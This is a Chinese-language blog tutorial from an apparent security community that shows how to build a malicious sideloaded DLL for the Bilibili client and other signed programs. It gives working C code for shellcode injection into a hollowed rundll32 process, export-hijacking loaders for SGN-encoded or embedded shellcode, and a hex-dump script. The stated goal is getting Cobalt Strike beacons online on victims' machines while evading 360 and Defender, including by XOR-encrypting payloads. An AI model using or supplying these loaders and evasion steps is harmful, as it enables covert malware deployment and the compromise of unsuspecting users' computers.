03Scx122024-12-20文章来源:SecHub网络安全社区
最近看了许多关于白加黑的文章,简单来说就是通过正常应用的exe程序去加载我们制作的恶意的dll,来执行shellcode代码,从而实现上线。
关于原理大家可以看四五佬的这篇文章
https://cloud.tencent.com/developer/article/2360981
这篇文章通过两种方式演示怎么制作一个白加黑绕杀软从而上线cs
白加黑是通过<u>白exe调用黑dll</u>实现上线然后我们得找到一个合适的白名单程序和一个黑dll来制作
白程序找法第二种方法的时候会演示怎么找我们先来找黑dll这里以哔哩哔哩做演示当受害人看b站的时候这边就上线了那这太酷了
将我们的哔哩哔哩放到桌面上直接运行发现
那我们是不是就初步判断哔哩哔哩运行时调用了ffmpeg.dll事实上就是这样
另一种方法是通过 PE 查看器去查找,将 exe 直接从安装位置拖入 Dependencies,注意一定要从安装位置拖入,不然看不到当前路径加载的 dll
工具下载地址https://pan.baidu.com/s/1FRWoMYalmlDri73bL_Nlrw?pwd=k6ie
动态查找即直接执行 exe,通过进程监视器(ProcessMonitor)查看其调用了那些 dll。ProcessMonitor 是微软的一款 Windows 高级监控工具,可显示实时文件系统、注册表和进程/线程活动。
过滤器填这几个
然后将路径换为自己的就可以找到哔哩哔哩调用的dll
名字为黑dll
这有四个文件我们先不管
创建好项目后我们将原来的ffmpeg.dll拖到AheadLib中
AheadLib下载地址:https://github.com/strivexjun/AheadLib-x86-x64/releases
Makefile后会输出两个文件
然后将ffmpeg.cpp内容复制到dllmain.cpp中,然后点击源文件添加现有项将ffmpeg_jump.asm复制到目录中,并把此文件添加到源文件中。
然后右键属性进行修改
按照这配置
调试信息这里选择不生成
然后在dllmian中将第一个红框代码取消注释,将第二个红框代码注释掉,第三个红框的地方修改为任意名字,同样也要将原来的ffmpeg.dll修改为你修改的名字。我这里将ffmpeg.dll修改为了ApiHelp.dll,然后vs2022生成的dll名字为ffmpeg.dll。
然后这里修改为白程序的名称,这里为哔哩哔哩.exe
cs上线代码采用了零攻防 生吃香菜师傅的傀儡进程注入代码,在此基础上做了些许更改。
unsigned char killraw[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41";
BOOL InjectShellcode(BYTE* shellcode, SIZE_T shellcodeSize) {
DWORD nFileSize = shellcodeSize;
LPVOID ScAddress = shellcode;
PROCESS_INFORMATION ProcessInformation;
STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
SIZE_T DwWrite = 0;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation);
if (result) {
Context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessInformation.hProcess, v24, ScAddress, nFileSize, &DwWrite);
Context.Rip = (DWORD64)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
TerminateProcess(GetCurrentProcess(), 0);
return TRUE;
}
DllMain代码:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
if (Load() && Init()) {
TCHAR szAppName[MAX_PATH] = TEXT("brotli.exe"); //请修改宿主进程名
TCHAR szCurName[MAX_PATH];
GetModuleFileName(NULL, szCurName, MAX_PATH);
PathStripPath(szCurName);
//是否判断宿主进程名
if (StrCmpI(szCurName, szAppName) == 0) {
InjectShellcode(killraw, sizeof(killraw));
}
}
}
else if (dwReason == DLL_PROCESS_DETACH) {
Free();
}
return TRUE;
}
看到这两段代码大家可能有点迷了,如果说不会将俩代码合成一块执行就用我上篇写的使用GPT来帮你合成一段执行代码执行上线这就靠师傅们的话术了然后不断调试上线上线之后会有杀软识别大家只需要将shellcode代码进行xor加密然后解密执行即可这同样可以使用GPT或者其他一些加解密方法这里师傅们自行发挥吧例如我就使用了0x35密钥进行解密一定是本地加密好了放到代码里解密执行
然后将原来的ffmpeg.dll重命名为ApiHelp.dll就是你上上面修改的名字项目生成新的ffmpeg.dll放到原文件夹里面执行就像这样
然后学习一会青海摇
第一种找了黑dll第二种我们要找白文件
这里用的是香菜师傅的工具,非常easy可以直接找到带有数字签名的白文件
https://github.com/ImCoriander/ZeroEye
找到白文件后继续创建黑dll项目
exe加载dll,需要将dll文件加载到内存中,从而使用到dll文件中某些函数,但是该exe我们无法知道它想要去加载dll文件中哪些函数,优先调用的是哪个函数,那么这里我们采取的方法就是劫持函数,将dll文件中所有的函数劫持到一个函数上,就是我们的导出函数,也就是我们的最终加载shellcode的函数,这样,无论dll文件中哪一个函数被调用都能确保我们的shellcode被加载,而且exe能执行而不会报错。
首先我们需要通过pe头查看导出表,导出表就是该dll文件能够被其它dll或者exe调用的一些函数,这里我们使用软件CFF Explorer
查看如图,直接将msys-2.0.dll文件拖入到CFF Explorer中,然后点击输出目录
CFF Explorer下载:https://bbs.kanxue.com/thread-138015.htm
下面就是dll文件导出表,我们这里选中一个并ctrl+a全选然后粘贴到Excel中
将函数名全弄出来用vs打开
使用正则替换出来
然后先放着回到项目
然后将正则替换过后的全粘过来加上EXPORTS
接下来我们在dllmain.c编写劫持导出函数yuanF_exec
基础调用yuanF_exec
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windef.h>
#include <Windows.h>
#include <stdio.h>
extern __declspec(dllexport) int yuanF_exec() {
MessageBoxA(NULL, "text", NULL, NULL);
}
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
运行
这说明我们成功调用了劫持导出函数,然后写shellcode加载器上线
通过二进制bin文件上线首先将bin文件进行sgn编码
https://github.com/EgeBalci/sgn
作者认为认为任何基于规则的静态检测机制都不能检测到用SGN编码的二进制文件,更别说写 YARA 规则了
然后使用代码将加密后的bin文件放到和dllexe同一目录即可上线
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windef.h>
#include <Windows.h>
#include <stdio.h>
extern __declspec(dllexport) int yuanF_exec() {
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
hFileNew = CreateFileW(L"code.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileNew == INVALID_HANDLE_VALUE) {
wprintf(L"Failed to open input file: %lu\n", GetLastError());
return 1;
}
dwSize = GetFileSize(hFileNew, NULL);
if (dwSize == INVALID_FILE_SIZE) {
wprintf(L"Failed to get file size: %lu\n", GetLastError());
return 1;
}
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) {
wprintf(L"Failed to allocate memory: %lu\n", GetLastError());
return 1;
}
if (!ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL)) {
wprintf(L"Failed to read file: %lu\n", GetLastError());
return 1;
}
// Protect memory region for execution (optional but recommended)
DWORD oldProtect;
VirtualProtect(exec, dwSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// Execute the code
((void(*)())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
第一种上线方式我也做了这里就不放截图了师傅们自行测试吧
我们使用python脚本将bin文件以十六进制读取出来,放在生成dll的代码中
#coding:utf-8
import sys
if len(sys.argv) != 2:
print("Usage: python script.py <input_binary_file>")
sys.exit(1)
input_filename = sys.argv[1]
with open(input_filename, 'rb') as file:
binary_data = file.read()
hex_data = ', '.join(['0x{:02X}'.format(byte) for byte in binary_data])
print(hex_data)
output_filename = input_filename + '_output.txt'
with open(output_filename, 'w') as file:
file.write(hex_data)
print(f"Hex data saved to: {output_filename}")
然后采用回调函数加载的方式进行加载上线,并生成我们的黑dll文件。
#include "pch.h"
#include <windef.h>
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = {}; //你提取出的shellcode
extern __declspec(dllexport) int yuanF_exec() {
// 回调函数上线
DWORD oldProtect;
if (!VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("error!");
return -1;
}
if (!EnumChildWindows(NULL, (WNDENUMPROC)buf, NULL)) {
printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
return -1;
}
return 0;
}
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
但是由于这种加载方式比较简单360和defender都会报毒更好的加载方式还没研究师傅们也可以自己研究研究
还有一种就是funnyday师傅图片隐写的方式加载想了解的师傅可以看平台的那篇文章
第一种方法比第二种免杀要好
白加黑还是适合做权限维持
大家也看到了弊端通过调用外部rundll32.exe线程上线
银狐木马通过自解压白 exe + 黑 dll 执行截取主线程添加自启动这是如何实现的我们仍需学习
这篇文章没有涉及原理但是也希望能帮助师傅学到一些东西
参考链接:
https://mp.weixin.qq.com/s/nbs4inHfDDQk52S1eOrrUw
https://mp.weixin.qq.com/s/0q7tJ07tosNOX62omsPhqg
https://cloud.tencent.com/developer/article/2360981
https://mp.weixin.qq.com/s/aVrm6llWkS6PrimNghpyow
https://mp.weixin.qq.com/s/-OFZ_kXGPBN8iQo9nN1l6A
https://mp.weixin.qq.com/s/w7zUQc5fWDNDR8JhyGFzgg